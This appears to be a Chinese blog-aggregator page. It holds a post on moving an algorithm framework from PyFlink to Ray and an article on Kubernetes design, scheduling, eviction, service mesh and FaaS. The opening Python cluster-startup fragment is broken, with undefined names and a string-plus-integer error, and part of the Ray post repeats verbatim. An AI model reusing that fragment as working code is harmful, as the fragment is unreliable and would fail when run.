        self._mem_bytes =16 if mem_bytes == "auto" else mem_bytes
        self._subprocess_start_method = subprocess_start_method
        self._config = load_config(config, default_config_file=MASTER_CONFIG)
        execution_config = ExecutionConfig.from_config(self._config, backend=backend)
        self._backend = execution_config.backend
        self._web = web
        self._n_supervisor_process = n_supervisor_process

        execution_config.merge_from(
            ExecutionConfig.from_params(
                backend=self._backend,
                n_worker=self._n_worker,
                n_cpu=self._n_cpu,
                mem_bytes=self._mem_bytes,
                subtask_cancel_timeout=self._config.get("scheduling", {}).get(
                    "subtask_cancel_timeout", 1000
                ),
                subtask_max_retries=self._config.get("scheduling", {}).get(
                    "subtask_max_retries", 4
                ),
            )
        )

        self._bands_to_resource = execution_config.get_deploy_band_resources()
        self._supervisor_pool = None
        self._worker_pools = []
        self._exiting_check_task = None

        self.web_address = None

        self._master = None


    @property
    def backend(self):
        return self._backend

    @property
    def external_address(self):
        return self._supervisor_pool.external_address

    async def start(self):
        # start service
        master, worker_list = await self._start_service()

        # init metrics to guarantee metrics use in driver
        metric_configs = self._config.get("metrics", {})
        metric_backend = metric_configs.get("backend")
        init_metrics(metric_backend, config=metric_configs.get(metric_backend))

        master.start()
        self._master = master
        for worker_no in worker_list:
            worker_no.start()

        self._worker_pools = worker_list

        if self._web:

            #接入webui
            self.web_address = ""
            logger.warning("Web service started at %s", self.web_address)

        self._exiting_check_task = asyncio.create_task(self._check_exiting())


    async def _start_service(self):
        # 初始化master和worker
        # 返回相关的进程实例id
        channel = Channel()
        master = Master(address=queue_manager_address, change_config=config.MASTER_CONFIG)

        worker_num = 4

        worker_instance_list = []
        queue = distrbute_app.CELERY_QUEUES
        for item in range(worker_num):
            worker_name = "worker-"+item
            connection = Connection(distrbute_app.compute_upstream_exchage)
            worker_node = Worker(name=worker_name, connection=connection, queue=
                                 queue[worker_name])
            worker_instance_list.append(worker_node)
        # await start_worker(
        #     worker_pool.external_address,
        #     self.supervisor_address,
        #     band_to_resource,
        #     config=self._config,
        # )
        return master, worker_instance_list

    async def stop(self):


        # delete all sessions
        session_api = SessionAPI.create(self._master)
        session_api.delete_session(session_id=session_api.__address__)


        for worker_pool in self._worker_pools:
            await worker_pool.stop()
        await self._supervisor_pool.stop()
迁移到ray框架

背景

目前算法框架由于历史原因选型错误,使用了pyflink. 现在后续需要接入多种类型的算法种类,并且还需要有更好的性能提升,pyflink不能很好的满足需求. 经过调研之后,选型Ray和Dask两款纯python的计算框架作为替换的实现.

文档: www.aidoczh.com/ray/ray-ove… 

调研过程

因为pyflink存在跨语言通信的成本, 所以pyflink官方选择了分别使用进程模式和线程模式去跑.
进程模式目前是用beam框架进行传输的,这会对内存产生较大压力。所以不适合用于低开销资源的场景. 而线程模式当中,通过pemja做跨语言调用,虽然没有beam带来的内存压力。但是性能和进程模式的计算耗时差不多. 所以弃用pyflink作为算法依赖计算的框架

ray提供了自动扩缩容的资源管理, 并且worker用c++实现,通过Python的libcpp创建进程,以绕过GIL全局解释锁的限制,并且提供精细化的资源控制

由于未来的算法框架计算需要支持科学计算和分布式训练. 所以需要找到一个款纯python的框架。满足这个需求,目前的选型是ray(侧重分布式训练)以及dask(侧重科学计算)

Ray介绍

详细介绍: www.cnblogs.com/softlin/p/1…

index-10.png

应用层对应了三种类型的进程:驱动进程、工作器进程、行动器进程组成;
驱动器 (Driver ):  执行用户程序的进程,所有操作都需要由主进程来驱动。
工作器 (Worker ):  执行由驱动器或其他工作器调用的任务(远程函数)的无状态的进程。工作器是在系统层分配任务时自动启动的。当声明一个远程函数时,该函数将被自动发送到所有的工作器中。在同一个工作器中,任务是串行地执行的,工作器并不维护其任务与任务之间的局部状态,即在工作器中,一个远程函数执行完后,其局部作用域的所有变量将不再能被其他任务所访问。
行动器 (Actor ):  行动器被调用时只执行其所暴露的方法。行动器由工作器或驱动器显式地进行实例化。与工作器相同的是,行动器也会串行地执行任务,不同的是行动器上执行的每个方法都依赖于其前面所执行的方法所变更的状态。

部署架构

默认一主两从(head主节点,woker从节点)

index-11.png

目前算法框架由于历史原因选型错误,使用了pyflink. 现在后续需要接入多种类型的算法种类,并且还需要有更好的性能提升,pyflink不能很好的满足需求. 经过调研之后,选型Ray和Dask两款纯python的计算框架作为替换的实现.

文档: www.aidoczh.com/ray/ray-ove… 

调研过程

因为pyflink存在跨语言通信的成本, 所以pyflink官方选择了分别使用进程模式和线程模式去跑.
进程模式目前是用beam框架进行传输的,这会对内存产生较大压力。所以不适合用于低开销资源的场景. 而线程模式当中,通过pemja做跨语言调用,虽然没有beam带来的内存压力。但是性能和进程模式的计算耗时差不多. 所以弃用pyflink作为算法依赖计算的框架

由于未来的算法框架计算需要支持科学计算和分布式训练. 所以需要找到一个款纯python的框架。满足这个需求,目前的选型是ray(侧重分布式训练)以及dask(侧重科学计算)

Ray介绍

详细介绍: www.cnblogs.com/softlin/p/1…

index-10.png

应用层对应了三种类型的进程:驱动进程、工作器进程、行动器进程组成;
驱动器 (Driver ):  执行用户程序的进程,所有操作都需要由主进程来驱动。
工作器 (Worker ):  执行由驱动器或其他工作器调用的任务(远程函数)的无状态的进程。工作器是在系统层分配任务时自动启动的。当声明一个远程函数时,该函数将被自动发送到所有的工作器中。在同一个工作器中,任务是串行地执行的,工作器并不维护其任务与任务之间的局部状态,即在工作器中,一个远程函数执行完后,其局部作用域的所有变量将不再能被其他任务所访问。
行动器 (Actor ):  行动器被调用时只执行其所暴露的方法。行动器由工作器或驱动器显式地进行实例化。与工作器相同的是,行动器也会串行地执行任务,不同的是行动器上执行的每个方法都依赖于其前面所执行的方法所变更的状态。

部署架构

默认一主两从(head主节点,woker从节点)

index-11.png

Ray 的节点需要运行两个进程,一个是 RayLet 进程,一个是 Plasma Store 进程(对应图中的 Object Store)。

其中,RayLet 进程中维护着一个 Node Manager 和一个 Object Manager。Ray 提供了 Python 的 API,而 RayLet 是用 C++ 实现的。Node Manager 充当论文中 Local Scheduler 的角色,主要负责管理 Node 下的 Worker,调度在 Node 上的任务,管理任务间的依赖顺序等。Object Manager 主要提供了从其他的 Object Manager Pull/Push Object 的能力。

Plasma Store 进程,是一个共享内存的对象存储进程。原本 Plasma 是 Ray 下的,目前已经是 Apache Arrow 的一部分。正如前文所述,Ray 在执行带有remote注解的函数时并不会立刻运行,而是会将其作为任务分发,其返回也会被存入 Object Store 中。这里的 Object Store 就是 Plasma[4]。

而论文中的 Control State,在实现中被叫做 GCS,是基于 Redis 的存储。而 GCS 是运行在一类特殊的节点上的。这类特殊的节点被称作 Head Node。它不仅会运行 GCS,还会运行对其他节点的 Monitor 进程等。

Ray 提交任务的方式与 Spark 非常类似,需要利用 Driver 来提交任务,而任务会在 Worker 上进行执行。Ray 支持的任务分为两类,分别是任务(Task)和 Actor 方法(ActorMethod) 。其中任务就是之前的例子中的被打上了remote注解的函数,而 Actor 方法是被打上了remote注解的类(或叫做 Actor)的成员方法和构造方法。

两者的区别在于任务都是无状态的,而 Actor 会保有自己的状态,因此所有的 Actor 方法需要在 Actor 所在的节点才能执行。这也是 Ray 跟 Spark 最大的不同。Spark 提交的是静态的 DAG,而 Ray 提交的是函数

任务提交流程
  • 任务task

任务执行为无状态的,任务无法修改作为本地变量传入的值, Ray远程函数为无副作用的
编写任务流程:

-   注册任务: 在注册为任务的函数上添加@ray.remote装饰器
-   提交任务: 在调用@ray.remote装饰器的函数时带上.remote()
-   在函数级别,可以指定需要分配的cpu和资源

下面是一个ray简单的计算任务

import ray
import socket
import time


@ray.remote(num_cpus=1, memory=75 * 1024 * 1024)
class Counter(object):
    def __init__(self):
        # actor进程
        self.value = 0

    def increment(self):
        # worker进程
        self.value += 1
        return self.value

if __name__ == '__main__':
    import ray

    context = ray.init(address="ray://192.168.3.224:31001")
    counter = Counter.remote()
    ref = counter.increment.remote()
    assert ray.get(ref) == 1
    time.sleep(30000000)

ray提交任务

# 创建一个client,指定远程ray集群的head地址
    client = JobSubmissionClient("http://xxxx.xxx.xxx.xxx:31111")

    # 创建任务的ID
    id = uuid.uuid4().hex
    input_params_key = f"{id}:input"
    input_params_value = [1, 2, 3, 4, 5]

    # 将输入参数存入redis,供远程函数job使用

    # 提交一个ray job 是一个独立的ray应用程序
    job_id = client.submit_job(
        # 执行该job的入口脚本
        entrypoint=f"python ray_compute.py {input_params_key}",

        # 将本地文件上传到ray集群
        runtime_env={
            "working_dir": "./",
            "py_modules": [test_module, stk12],
            "env_vars": {"testenv": "test-1"}
        },

        # 自定义任务ID
        submission_id=f"{id}"
    )

    # 输出job ID
    print("job_id:", job_id)
总体设计

index-12.png

迁移到ray的好处是,本身基于faas函数计算可以做状态托管,同时对于资源需求量少的任务还可以按量分配。通过k8s可以走到资源的自动扩所容,并且原先的进程间数据管道交给komou代理到kafka,计算交给ray。 实现了算法框架的存算分离

使用功能对齐

  • keyby算子

    • 为每个点位拆分task,分配对应的算法插件调用Ray分区函数, 可以利用ray的partition来做到键控流的逻辑分区
    • 采用komou作为本地队列,依赖kafka进行通信
  • 滑动窗口

通过pandas时间序列截取长度实现攒批, 然后根据transform变换做聚合

  • 会话窗口

  • 多sink写出

  • 侧流..

    • ray的OutputSplitter输出
    • reduce函数写入到一个临时的function进行计算

资源调度对齐

默认情况下,Ray 的 Task 会使用 1 个逻辑 CPU,该 CPU 既负责任务调度,也用于执行计算任务;而 Ray 的 Actor 则默认使用 1 个逻辑 CPU 来进行任务调度,并默认不占用 CPU 资源来执行计算任务。
当 Task 或 Actor 在执行时,Ray 会将它调度到能够满足它的资源需求的节点上。在默认情况下,Ray Task 的资源需求相对明确,而 Ray Actor 的默认 CPU 资源需求为 0。如果不做额外设置,这会导致一种错误印象,认为 Ray Actor 不需要计算资源,从而可能导致大量 Actor被集中调度到同一个计算节点上。为更好地控制资源使用并避免潜在风险,建议在定义 Task或 Actor 时指定所需的计算资源数量。具体来说,可以在使用 ray.remote()修饰函数或类时,传递 num_cpus 和 num_gpus 参数来指定 Task 和 Actor 所需的计算资源

Autoscaler 是 Ray 实现的一个与 Kubernetes HPA 类似的特性,它可以根据集群的负载情况,自动调整集群的规模, 实现精细化的资源管理。

其需要的配置大致如下:

index-13.png

  • 支持standalone部署 (为function计算分配细粒度的cpu和memory)
  • 支持集群模式部署

by 语落心生 at January 20, 2025 03:01 AM

云原生的演进系列下:容器编排技术

本文与 云原生的演进系列上:容器化技术的诞生 一脉相承,为了更好的理解本文的内容,请先阅读该系列的上篇文章。

Kubernetes 出现的背景

技术与问题总是互为矛与盾:技术的进步推动人类向前迈进,但也伴随新的问题,这些问题反过来又驱动新技术的诞生,从而不断提升生产力。以汽车为例,它的发明解决了长途出行的问题,但普及后又带来了修建公路、制定交通规则和设置红绿灯的需求。

当我们学习新技术时,应该以问题为起点:这项技术解决了什么问题?核心矛盾点在哪里?如果是你,会如何应对?这种以问题驱动的思考方式,有助于更快速且深入地掌握技术。

以容器技术为例,它诞生于解决在一台物理机上部署多个应用进程的问题。进入分布式架构时代,成千上万的服务进程支撑着一个复杂系统的运行,也带来了管理的巨大挑战。深入理解容器技术,可以将问题进一步拆解为以下矛盾点:

  1. 资源与生命周期管理
    • 如何高效地分配和管理海量容器的生命周期?
    • 如何监控容器的运行状态?
    • 当某个容器异常消耗资源时,如何保障其他容器的稳定性?
  2. 资源隔离与共享
    • 在同一物理机上运行的容器如何实现资源共享与隔离的平衡?
    • 如何保证既能高效利用资源,又能避免互相干扰?
  3. 系统的高可用性
    • 容器长时间运行时,难免面临代码缺陷、硬件故障等问题。
    • 在成千上万个容器中发生故障时,如何确保系统依然稳定可用?
  4. 自动化与可扩展性
    • 如何实现容器的自动扩容和缩容,以应对负载的动态变化?
    • 如何通过自动化修复故障容器,减少人为干预?

容器编排技术正是为了解决这些问题而诞生的。带着这些思考学习容器编排技术,将更有助于理解其原理和设计理念。

Kubernetes 诞生的过程

Borg 系统

当谷歌的工程师面对这些问题时,他们创建了 Borg 系统,用于管理和运行谷歌内部的服务和应用。

Borg 系统是一个典型的 Mater+Agent 的设计架构

Borg 的Master (BorgMaster) 是一个全局资源的跟踪管理器,他负责调度任务,监控节点状态,并提供 api 给用户查询和操作系统状态。BorgMaster 通常是由一个主节点和多个备节点组成,主节点故障时可以快速切换。

Borg 的 Agent(Borglet) 是具体的工作负载节点,用于接收并启动任务,管理任务的生命周期,并监控资源的使用情况。

BorgMaster 主动与 Borglet 通信,而 Borglet 会定期上报信息给 BorgMaster。如下图所示。

image

图片来源

Borg 系统将计算资源分为两种:Long-Running Service 和 Batch Job。

  • Long-Running Service 譬如场景的 web 服务,数据库服务等。这种服务需要长期稳定运行,不间断的对我提供服务,因此在 borg 会倾斜资源优先保证此类任务的稳定和调度。

  • 而 BatchJob 常见的为 - Apache Hadoop 或 Spark 框架执行的各类离线计算任务。索引构建任务,这类任务在资源紧张时,可以被暂停,从而优先保障 Long-Running Service。

随着越来越多的应用部署到 brog 上,谷歌内部的各个部门围绕着 Borg 系统开发了大量的管理工具和服务。比如

  • 资源需求量预测
  • 自动扩缩容
  • 配置或者自动 job 等

Borg 系统中的管理工具最初由谷歌内部不同团队为满足自身需求而开发,缺乏统一规划。这种分散的开发模式导致用户在使用时需要查阅大量文档、修改不同类型的配置,并学习多种语言和工具与 Borg 系统交互。尽管如此,得益于 Borg 系统的强大功能和丰富特性,它仍是谷歌内部的首选容器管理系统。

值得一提的是,Borg 的诞生早于 Docker,甚至在 Borg 问世时,Linux 容器技术的核心组件 Cgroups 尚未实现。相反,谷歌通过 Borg 为 Linux 容器技术贡献了大量代码,这些代码直接推动了 Cgroups 的实现和发展。

Omega 系统

由于 Borg 生态是由谷歌各部门推动发展,其架构并非经过精心设计的整体。为打造一个更加统一的软件架构生态,谷歌设计并推出了 Omega 系统。Omega 在保留 Borg 成功模块的基础上,从零开始重新开发,使整个生态更加一致。

Omega 相较于 Borg 具有以下显著改进:

  1. 去中心化设计
    • Borg 中的 BorgMaster 是单体架构,而 Omega 将其功能模块化拆分。
    • 这种去中心化设计使得各功能模块的修改和迭代更加灵活、方便。
  2. 提升资源调度效率
    • 随着系统规则的增加,Borg 的资源调度效率可能下降。
    • Omega 采用乐观并发控制机制,支持多个调度器并行工作,从而大幅提高了调度效率和资源利用率。

通过这些改进,Omega 系统不仅继承了 Borg 的优势,还通过更先进的设计克服了其局限,成为谷歌内部更高效的资源调度和容器管理平台。

Kubernetes 系统

Kubernetes是谷歌开发的第三套容器管理系统,其大量设计来源于 Borg/Omega 系统。不过与 Borg 和 Omega 不同的是:Kubernetes 是开源的,不是 Google 内部系统。

2013 年夏,Google 的工程师们开始讨论借鉴 Borg 的经验开发新一代容器编排系统,希望通过十几年的技术积累影响云计算市场格局。Kubernetes 项目获批后, 2014 年 6 月 Golang 完全重写后开源。并在 2017 年发布了第一个正式版本 1.0 版本,并托管到了 CNCF,成为其第一个项目。

CNCF:Cloud Native Computing Foundation 。Google 与 Liunx 共同筹建的云原生基金会,用于推动云原生的发展和普及,为开发者和企业提供云原生应用的标准化工具和最佳实践

Kubernetes 不仅有 Google 深厚的技术功底作支撑,有领先时代的设计理念,更加关键的是 Kubernetes 的出现符合所有云计算大厂的切身利益。

首先 Kubernetes 具有一个较高的技术起点:Kubernetes 的架构设计和理念直接继承了 Borg 和 Oemga 系统的成熟实践,并能能够紧密结合 docker 技术,提供了完整的容器生命周期管理能力。

其次 Kubernetes 的开源战略和平台无关性支持多种基础设施可以让其一避免锁定单一供应商。极大的降低了社区和企业的使用门槛。从而吸引了大量开发者和企业参与,行程了一个良好的社区活力。

最后Google联合多家顶级科技公司(如Red Hat、IBM等)推动K8s发展,形成了一个强大的供应商生态。成为了一个行业标准,而且 Kubernetes 中在开源后保持高频更新,并且其全面的教程、指南和工具,让开发者上手更容易。

因此 Kubernetes 诞生后便以摧枯拉朽之势覆灭了容器编排领域的其他竞争对手。

Kubernetes 的设计理念

资源和调度是编排系统中最重要的两个命题。

资源模型

资源计量

这里的资源模型主要是狭义上的物理资源,是哪些能够与真实物理底层硬件对应起来的资源,譬如处理器资源、内存资源、磁盘存储资源,网络带宽资源。

在 Kubernetes 中作为调度的最小单位是一个 pod。在 Kubernetes 中,一个物理机 Node上可以运行多个 pod,一个 pod 内有多个容器,多个容器共享资源和数据,被称为超亲密容器。 从编排系统的角度来看,Node 是资源的提供者,Pod 是资源的使用者,调度是将两者进行恰当的撮合。

Node 通常能够提供的三方面的资源

  1. 计算资源(如处理器、图形处理器、内存)
  2. 存储资源(如磁盘容量)
  3. 网络资源(如带宽、网络地址)

其中与调度关系最密切的是处理器和内存。虽然他俩同属于计算资源,但两者在调度时,有一些微妙的差别。

处理器,图形处理器这样的资源被称为可压缩资源。当资源不足时,Pod 只会处于"饥饿状态",运行变慢,但并不会被系统杀死。

内存这样的资源为不可压缩资源,当资源不足时,或者申请的资源超过 node 能够提供的最大的资源时,Pod 就会因为内存溢出(OOM)而被系统直接杀掉。

Kubernetes 给 cpu 资源设定的记录单位是"逻辑处理核心个数"。但至于具体的 1 个单位的“逻辑处理核心”是如何解释的,通常就需要依赖实际的宿主机。一般来说是 /proc/cpuinfo 里的处理器数量。但它实际上可能是多路处理器系统上的一个处理器,或者处理器核心中的一个超线程。也就是,Kubernetes 只是按照资源单位进行调度,而具体的一个 cpu 资源的代表真实算力可能是完全不一样的。(cpu 资源配置支持小数)

Kubernetes 给内存,硬盘设定的计量单位是其已经的广泛使用的记录单位,Bytes,如果配置中不明确标准单位就会默认使用 Bytes,除此之外,可以使用 K,M,G,T 等常用的内存和磁盘容量单位。

在 Kubernetes 中,Pod 是最小的调度单元,因此调度和资源管理相关的属性应包含在 Pod 对象的字段中。下面是一个 pod 资源配置的示例。

apiVersion: v1                # 指定 Kubernetes API 版本
kind: Pod                     # 定义资源类型为 Pod
metadata:                     # 元数据部分
  name: qos-demo-5            # Pod 的名称
  namespace: qos-example      # Pod 所属的命名空间
spec:                         # Pod 的规格
  containers:                 # 定义容器列表
    - name: qos-demo-ctr-5    # 容器的名称
      image: nginx            # 使用的容器镜像为 nginx
      resources:              # 定义资源配置
        limits:               # 容器可使用的最大资源限制
          memory: "200Mi"     # 最大内存限制为 200 MiB
          cpu: "700m"         # 最大 CPU 限制为 700 millicores (0.7 核)
        requests:  

设定资源计量单位的目的是为了管理员能够限制某个 Pod 对资源的过度占用,避免影响到其他 Pod 的正常运行。

资源分配

在日常开发和部署中,资源申请通常并不会仅根据当前的实际需求评估,而是会预留一定余量,考虑未来用户增长或应对突发流量的高峰。为了避免资源不足,开发者往往倾向于“多多益善”,适当超额申请资源。

如果 Kubernetes 按照用户申请的资源直接进行分配,可能会导致大量硬件资源在大部分时间内处于闲置状态,从而降低集群的整体资源利用率。为提高利用率,Kubernetes 会采用 超售策略,即虚拟资源(如 CPU、内存、存储)的分配总量可以超过实际物理资源总量的一定比例。

当极端情况发生时,例如所有 Pods 同时达到资源请求的峰值,节点实际可用的资源可能不足。此时,Kubernetes 必须采取措施。杀掉部分 Pods,腾出资源,保证剩余 Pods 的正常运行。这一过程被称为 驱逐机制(Eviction)

为了合理决定哪些 Pods 可以被驱逐,以及哪些必须被优先保留,Kubernetes 引入了 服务质量等级(QoS)优先级 的概念。

服务质量等级和优先级

回到上面的 pod 资源配置的示例 yaml 文件,我们可以看到 Kubernetes 使用下面两个属性描述 Pod 的资源分配和限制。

  • requests:表示容器请求的资源量,Kubernetes 会确保 Pod 能获得这些资源。Kubernetes 选择哪个节点运行 Pod,只会根据requests的值来进行决策
  • limits:表示容器可使用资源的上限,以防止容器过度消耗资源,导致节点宕机。是给 cgroups 用的,Kubernetes 在向 cgroups 的传递资源配额时,会按照limits的值来进行设置。

requests 和 limits 的配置,除了用于表明资源需求和限制资源使用之外,还有一个隐含的作用:它决定了 Pod 的 QoS(Quality of Service,服务质量)等级。

Kubernetes 目前提供的服务质量等级一共分为三级,由高到低分别为 Guaranteed、Burstable 和 BestEffort。

  • Guaranteed:Pod 中所有的容器都设置了 limitsrequests,且两者的值相等,那此 Pod 的服务质量等级便为最高的 Guaranteed。

  • Burstable: Pod 中有部分容器的 requests 值小于 limits 值,或者只设置了 requests 而未设置 limits,那此 Pod 的服务质量等级为第二级 Burstable

  • BestEffort:limitsrequests 两个都没设置就是最低的 BestEffort

如果没有设置 requests 和 limits,那就意味着资源申请没有上限,该 pod 可以使用节点上的所有资源。但往往也就是这类的 pod 上最不稳定的风险来源,因此当资源不足的时候,会优先驱逐 BestEffort 这一类 pod。因此,根据实际资源使用需求合理配置 requests 和 limits 参数,能让调度更准确,也能让服务更稳定。

除了服务质量等级外,Kubernetes 还允许管理员自己决定 pod 的优先级。当多个 Pod 同时被调度的话,高优先级的 Pod 会优先被调度。Pod 越晚被调度,就越大概率因节点资源已被占用而不能成功。同时,当高优先级的 pod 的资源不足时,Kubernetes 会驱逐低优先级 Pod,释放资源以保证高优先级的 pod 运行。

驱逐机制

上面提到过,像内存和硬盘这样的资源为不可压缩资源,在一个 pod 运行中,这些资源是会被逐渐使用的,而且是可以被耗尽的。当不可压缩资源不足是,为了保证节点稳定,那么就需要驱逐一些不重要的 pod。能够使其重新调度到其他的 pod 上。

上面也提高过 Kubernetes 吸收了 borg 系统的部分设计理念,Borg 的 Agent(Borglet)可以监控节点的状态并上报,在 Kubernetes 中也有 kubelet 用于感知节点的资源使用情况。当 kubelet 发现资源即将耗尽时,会触发两类驱逐策略。

  • 软驱逐 :由于节点资源的耗用情况可能是临时性的波动,通常在几十秒后就会恢复。因此,当发现资源耗用达到设定阈值(比如 20%)时,不应立即触发驱逐操作,而是应该观察一段时间后再做决定
  • 硬驱逐:发现节点资源的耗用情况达到硬驱逐阈值(比如 10%)时,会立即杀死相应的 Pod

把资源耗尽的 pod 通常是因为本身是坏代码,有大量无序意外的消耗资源的程序,因此 当 Kubelet 驱逐一部分 Pod 后,如果快速重新调度这个 pod,那么可能节点的资源耗用情况可能在一段时间后再次达到阈值,从而重新触发新的驱逐,形成循环。为了避免这种情况发生,kubelet 预留了两个参数。

  • --eviction-minimum-reclaim:该参数决定每次驱逐时至少要回收的资源量,以停止驱逐操作。

  • --eviction-pressure-transition-period:该参数决定 Kubelet 上报节点状态的时间间隔。如果上报周期较短,频繁更改节点状态可能导致驱逐波动。

调度

共享状态的双循环调度

容器编排的核心在于将 PodNode 高效匹配。在几个或十几个节点的小型集群中,调度的实现相对简单。然而,当集群规模扩大到数千甚至更多节点时,实现高效调度变得极为复杂。

每次创建 Pod 时,调度器需要基于各节点的实时资源状态确定目标节点。由于节点资源状态随时变化,如果调度器在每次调度时都需要汇总所有节点的状态信息,将带来巨大的计算压力和时间开销,使调度器成为系统的瓶颈。

为解决这一问题,Google 在 Omega 系统中提出了共享状态的双循环调度机制,有效分担调度压力并提升效率。Kubernetes 后来也继承了这一机制,成功应对大规模集群的调度挑战。

image.png

图片来源:7.7.3 调度器与扩展设计 | 深入高可用系统原理与设计

  1. 第一个循环(informer 循环):这些 Informer 持续监控节点的相关资源的变化情况(主要是 Pod 和 Node 的变化)。当资源变化时,触发 Informer 的回调。将 pod 入队到第二个循环,调度队列中。同 informer 会更新自己的节点资源信息缓存以尽量减少远程调用的情况。(我们可以理解为,informer 内部也缓存了一份节点的资源信息,当资源信息变更时,将增量信息合并到自己缓存的资源信息中)
  2. 第二个循环(Scheduling):该循环从调度队列中出对一个 Pod,然后触发两个核心的调度阶段。预选阶段和优选阶段。
    1. 预选阶段:通过相关过滤插件来筛选出符号 pod 要求的 Node 节点集合。Kubernetes 中会有一批内置的筛选插件供我们使用。预选阶段结束以后,会有一个可供调度的 node 列表。如果列表为空,代表这个 node 不可调度。否则进入优选阶段
    2. 优选阶段:优选阶段是一个打分阶段,Kubernetes 会内置一系列的打分插件来给可调度的 node 进行打分加权求和。最终选择出分数最高的节点来运行 pod。值得注意的是,k 8 s 倾向于调 pod 分配到 cpu 和内存资源更加充分的节点上,避免节点资源过载。

在这个两个循环阶段,informer 和 scheduling 所需要的节点信息都是通过自己的缓存来获取,不会去访问节点本身,因此就保证了算法的执行效率。 当选择好了 Node,剩下的就是通知节点内的 Kubelet 来创建 Pod。

控制回路与声明式设计

Pod 是脆弱的,无论是软件缺陷、意外操作或者硬件故障,都可能导致在复杂协作的过程中某个 Pod 出现异常,进而出现系统性的崩溃。追求一个永远都不会出错的应用服务,让 k 8 s 将所有的意外因素都消灭掉保证应用永远正常运行是不切实际都,但我们可以退一步来讲。让编排系统在 pod 意外宕机时,能够自动把它们重新调整为可用状态是可行的。这个就是编排系统的 控制回路 设计。

K 8 s 中以房间的空调为例子介绍了控制回路的工作流程。你设置一个目标温度,空调的传感器会测量出的房间实际温度。根据当前状态与期望状态的差距,空调的控制器对制冷的开关进行调节控制,就能让其当前温度接近目标温度。

image

K 8 s 为每一种资源附加了一个期望状态和实际状态两个属性。用户想要这些资源来实现某种需求,就需要通过描述文件来声明这些资源的期望状态,而 k 8 s 会通过控制器来驱动资源的实际状态向期望状态靠拢,而这种交互风格就称为是 Kubernetes 的声明式 API。

例如,一个应用期望的副本数量为 3,那么就会有对应的控制器 ReplicaSet 来负责维持副本的数量。流程如下。

  1. 编写声明文件。
apiVersion: apps/v1
kind: ReplicaSet # 副本控制器
metadata:
  name: nginx-replicaset
  labels:
    app: nginx
spec:
  replicas: 3  # 期望的副本数量
  selector:
    matchLabels:
      app: nginx  # 匹配的 Pod 标签
  template:
    metadata:
      labels:
        app: nginx  # Pod 的标签
    spec:
      containers:
      - name: nginx
        image: nginx:1.21.6  # 使用的容器镜像
        ports:
        - containerPort: 80
  1. 用户通过 kubectl apply -f replicaset.yaml 提交该声明文件。配置最终会被保存在 etcd

etcd 是一个分布式键值对数据存储系统,用来存储 的集群状态)

  1. ReplicaSet 控制器监听资源变化,然后控制器开始检测当前集群中当前 pod 的实际数量,若 pod 过多,则删除多余的 pod,否则创建更多的 pod。
  2. 新创建的 pod 会被调度器分配和合适的节点。节点上的 kubelet 监视到 pod 信息后,会拉取镜像,启动容器,同时将实际状态上报给 ReplicaSet。

上述内容仅揭示了 Kubernetes 在容器编排领域中的部分问题。除此之外,诸如容器间的网络通信、容器中产生的有价值数据(如日志信息、埋点数据、加工后的结果)如何存储,容器的持久化存储方式等,都是十分复杂且关键的领域。由于篇幅限制,本文主要聚焦于 Kubernetes 的核心理念——资源和调度,其他内容暂不展开。

尽管 Kubernetes 被誉为分布式时代的“操作系统”,其强大的编排能力为开发者屏蔽了容器粒度的调度和管理复杂性,但在更细粒度的层面,仍存在许多技术挑战。例如:

  • 系统模块的领域划分。
  • 服务间的通信管理。
  • 日志采集与管理。
  • 服务安全性校验。
  • 性能监控与优化。

这些问题超出了容器编排系统的能力范围,Kubernetes 无法完全解决。

随着技术的发展,人们开始追求进一步的抽象,期望不仅对容器编排透明化,也能让容器之下的技术细节同样透明化。为此,服务网格(Service Mesh) 的概念应运而生,并逐渐成为技术社区关注的热点。服务网格旨在接管服务间通信、安全、观测等功能,为开发者提供更高效、更便捷的分布式系统管理能力。

服务网格

现代软件开发早已经进入微服务时代。当你设计一个稍微复杂一些的软件系统时,我们不再创建一个庞大臃肿的单体应用,而是会按照功能模块进行业务领域的划分,而划分后的各个子领域的应用之间通过 RPC 通信。这样做有明显的几个好处。

  1. 模块化:每一个模块独立开发和部署,可以灵活使用不同的技术栈。单个服务故障不会影响整个系统。
  2. 领域边界清晰:各个团队可以更加专注自己的领域。利于团队沟通成本的收敛。
  3. 云环境友好:可以使用 k 8 s 等编排技术,方便部署和管理。

但是当我们需要管理的微服务数量增加时,数据的一致性,集群的通信能力,集群可观测性就会变更复杂,成本上升。在日常的软件开发中,工程师的主要工作是为了实现业务提出的需求,但是由于微服务的应用,工程师还不得不考虑微服务的本身带来的问题。那么能不能讲与业务实现无关的微服务本身带来的问题给隔离处理并使用设计良好的架构系统来使其透明呢?这个就是服务网格要做的事情。服务网格其实就是一个代理模式。 在服务网格中,将网络代理(边车代理)以一个进程的的形式注入到应用容器,自动劫持应用的网络流量,应用查询只和网络代理进行网络通信,而外部通信的可靠性通过专门的基础设施来进行保障。这个边车的网络代理对应用来说是透明的,从应用的视角来看,仿佛微服务的网络通信问题都是不存在的,网络是完美可靠的一样。

虽然边车代理解决了透明通信的问题,但边车代理本身也需要管理,需要足够的信息才能完成透明通信的工作。因此从总体来看,服务网格包含两大部分的模块:由一系列与微服务共同部署的边车代理(被称为数据平面),以及用于控制这些代理的管理器所构成(被称为控制平面)。

image.png

数据平面

数据平面由一系列边车代理所构成,核心职责是转发应用的入站(Inbound)和出站(Outbound)数据包。为了在不可靠的物理网络中保证程序间通信最大的可靠性,数据平面必须根据控制平面下发策略的指导,在应用无感知的情况下自动完成服务路由、健康检查、负载均衡、认证鉴权、产生监控数据等一系列工作。

控制平面

控制平面的特点是不直接参与程序间通信,而只会与数据平面中的代理通信,在程序不可见的背后,默默地完成下发配置和策略,指导数据平面工作。

FaaS 和 Serverless

服务网格解决了微服务间复杂、不可靠的网络通信问题,使其对开发者透明化。那么是否可以更进一步,让微服务中的应用本身也变得透明呢?实际上,一个程序的本质工作无非是“输入—处理—输出”,对于应用的每一次请求来说,其过程可以抽象为“触发—处理—反馈”。如果开发工程师能够专注于这一核心逻辑,而无需关心其他技术细节,这正是 FaaS(Function as a Service,功能即服务)的理念所在:开发者只需专注于逻辑实现,无需管理底层的基础设施。

在传统应用部署中,我们需要完成大量琐碎的工作:准备服务器、配置环境、购买域名、配置 Nginx 等。应用上线后,还需持续关注运维问题,如监控、扩缩容、容灾等。然而,借助 FaaS,这些繁琐环节都可以被省略,开发者只需专注于业务逻辑实现即可。FaaS 平台会自动为用户提供计算资源,并以弹性可靠的方式运行代码。开发者仅需按函数实际运行时间付费,从而显著提高开发与交付效率,同时降低成本。

然而,FaaS 也有其局限性或不适用的场景:

